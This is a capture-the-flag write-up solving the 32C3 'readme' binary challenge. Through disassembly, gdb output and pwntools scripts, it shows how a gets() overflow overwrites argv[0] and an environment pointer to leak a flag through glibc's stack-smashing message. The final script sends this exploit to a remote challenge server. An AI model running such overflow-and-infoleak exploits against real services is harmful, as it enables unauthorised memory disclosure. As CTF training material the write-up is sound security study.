Abuse the stack smashing protector infoleak vulnerability to leak the flag.
Challenge Description
Points
200
Description
Can you read the flag?
nc 136.243.194.62 1024
Solution
Let’s run the binary locally first:
$ ./readme.bin
Hello!
What's your name? amon
Nice to meet you, amon.
Please overwrite the flag: AAAA
Thank you, bye!
Looks like we enter input in two places:
- When it asks for your name.
- When it asks you to overwrite the flag.
Let’s take a look at what’s going on under the hood:
00000000004007e1 mov esi, 0x400934 ; "Hello!\\nWhat's your name? "
00000000004007e6 mov edi, 0x1
00000000004007eb push rbx
00000000004007ec sub rsp, 0x118
00000000004007f3 mov rax, qword [fs:0x28]
00000000004007fc mov qword [ss:rsp+var_20], rax
0000000000400804 xor eax, eax
0000000000400806 call j___printf_chk
000000000040080b mov rdi, rsp
000000000040080e call j__IO_gets
0000000000400813 test rax, rax
0000000000400816 je 0x40089f
For the name prompt, the standard ‘gets()’ is used. This means we can use the good ol’ buffer overflow right? Well, not quite.
$ ./readme.bin
Hello!
What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: A
Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
If we check what protections are enabled in the binary, we see that the stack canary is present:
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : disabled
RELRO : disabled
However, notice that the line *** stack smashing detected ***
appears. Sounds
suspiciously like a Stack Smashing Protection Infoleak vulnerability. What we
have to do is overwrite the arg[0] pointer to point to the flag to leak it. Now,
if we look at the binary the flag is actually included in it.
However, it’s not that easy since the flag is overwritten in the second prompt. What the overwrite does is read character by character from the user up to 20 characters or a newline into the flag buffer. If it encounters a newline, it fills the rest of flag buffer with null bytes.
So. that buffer is overwritten, but is the flag still present in memory? The answer is yes, exactly why, I am not sure. It’s probably something to do with ELF mapping and hopefully someone puts up a writeup that explains. I found the other reference through PEDA:
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
Now, the 0x600d20 buffer gets overwritten but the 0x400d20 one doesn’t so we’ll use that in our exploit. Next, we need to determine the location of the argv[0] pointer.
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 7 results, display max 7 items:
[stack] : 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
[stack] : 0x7fffffffeb21 ("/home/amon/.composer/vendor/bin")
[stack] : 0x7fffffffebd6 ("/home/amon/ctf/32c3/readme/readme")
[stack] : 0x7fffffffed49 ("/home/amon")
[stack] : 0x7fffffffef4a ("/home/amon/.composer")
[stack] : 0x7fffffffefa0 ("/home/amon/.Xauthority")
[stack] : 0x7fffffffefcb ("/home/amon/ctf/32c3/readme/readme/readme.bin")
gdb-peda$ find 0x7fffffffe234
Searching for '0x7fffffffe234' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd44b8 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
[stack] : 0x7fffffffde88 --> 0x7fffffffe234 ("/home/amon/ctf/32c3/readme/readme/readme.bin")
gdb-peda$ print $rsp
$1 = (void *) 0x7fffffffdc70
gdb-peda$ print 0x7fffffffde88-0x7fffffffdc70
$2 = 0x218
So, the offset to the pointer is 0x218 (or 536 bytes) from the stack pointer. Let’s test it out. Here is the script to do so:
from pwn import *
context.log_level = "debug"
p = process("./readme.bin")
p.sendline("A"*536 + p64(0x400d20))
p.sendline("placeholder")
p.recvall()
Running the script with debug enabled:
$ python firsttest.py
[+] Started program './readme.bin'
[DEBUG] ...with arguments './readme.bin'
[DEBUG] Sent 0x221 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
*
00000210 41 41 41 41 41 41 41 41 22 0d 40 00 00 00 00 00 │AAAA│AAAA│"·@·│····│
00000220 0a │·│
00000221
[DEBUG] Sent 0xc bytes:
'placeholder\n'
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
[+] Recieving all data: Done (627B)
[DEBUG] Received 0x273 bytes:
'Hello!\n'
'What\'s your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"\r'
'@.\n'
'Please overwrite the flag: Thank you, bye!\n'
[*] Program './readme.bin' stopped with exit code -6
Notice that the flag does get printed but it does not come through the pipe. Instead, it is printed on the current terminal. This means that we need to do something else to exfiltrate that error message over the network when we attack the remote server. If we look online, we can find that there is an environment variable we can set to get that message sent over stderr. But how can we do this? If we look closer at the stack layout:
gdb-peda$ x/16xg 0x7fffffffde88
0x7fffffffde88: 0x00007fffffffe234 0x0000000000000000
0x7fffffffde98: 0x00007fffffffe261 0x00007fffffffe276
0x7fffffffdea8: 0x00007fffffffe281 0x00007fffffffe293
0x7fffffffdeb8: 0x00007fffffffe2aa 0x00007fffffffe2c0
0x7fffffffdec8: 0x00007fffffffe2d8 0x00007fffffffe308
0x7fffffffded8: 0x00007fffffffe317 0x00007fffffffe327
0x7fffffffdee8: 0x00007fffffffe338 0x00007fffffffe34c
0x7fffffffdef8: 0x00007fffffffe363 0x00007fffffffe375
gdb-peda$ x/s 0x00007fffffffe234
0x7fffffffe234: "/home/amon/ctf/32c3/readme/readme/readme.bin"
gdb-peda$ x/s 0x00007fffffffe261
0x7fffffffe261: "LC_PAPER=en_SG.UTF-8"
gdb-peda$ x/s 0x00007fffffffe276
0x7fffffffe276: "XDG_VTNR=7"
Notice that after argv, there is a null pointer and then an array of pointers to
strings in the environment. We can overwrite one of the pointers with the string
LIBC_FATAL_STDERR_=1
. Where do we put this string? The old flag buffer of
course! It’s there for us to write to. So our final exploit:
from pwn import *
p = remote("136.243.194.62", 1024)
p.sendline("A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600D20))
p.sendline("LIBC_FATAL_STDERR_=1")
print p.recvall()
Running the exploit to get our flag:
$ python exploit.py
[+] Opening connection to 136.243.194.62 on port 1024: Done
[+] Recieving all data: Done (701B)
[*] Closed connection to 136.243.194.62 port 1024
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated
Flag: 32C3_ELF_caN_b3_pre7ty_we!rd…
Leave a Comment